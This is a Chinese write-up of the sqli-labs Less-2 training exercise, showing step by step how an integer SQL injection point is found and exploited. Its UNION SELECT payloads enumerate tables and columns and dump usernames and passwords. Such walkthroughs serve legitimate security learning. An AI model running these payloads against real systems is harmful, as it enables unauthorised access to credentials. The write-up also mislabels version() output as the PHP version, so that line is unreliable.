sqli=labs less-2
*判断是否存在注入
输入?id=1 回显正常
输入?id=1' 回显错误
输入?id=1 and 1=1 回显正常
输入?id=1 and 1=2 回显错误
说明存在整数型注入点
页面未报错,查询结果为空,表明存在注入点,and查询被直接代入到了原查询语句中,可以直接在后面进行联合查询
(PS:因为本关是数字型注入,没有引号/括号的包裹,所以注入点更容易被发现)
* 判断列数
输入?id=1 order by 3 --+ 回显正常
输入?id=1 order by 4 --+ 回显错误
说明列数为3,有三个字段
* 报显示位
使用联合查询
输入?id=-1 and 1=2 union select 1,2,3 --+
由图可知,显示位在2和3上
* 查询详细信息
接下来用database()和version()查询PHP版本和数据库名称
输入?id=-1 and 1=2 union select 1,database(),version() --+
由图可知,数据库名称为security,PHP版本为5.5.53
* 查询具体内容
* 查询security库下的表
输入?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+
由图可知,security库下有4个表
* 查询表中的列
输入?id=-1 union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+
* 输出最终查询到的信息
输入?id=-1 union select 1,username,password from users where id = 1 --+
………………
?id=-1 union select 1,username,password from users where id = 12 --+
从1-12都有内容
即完成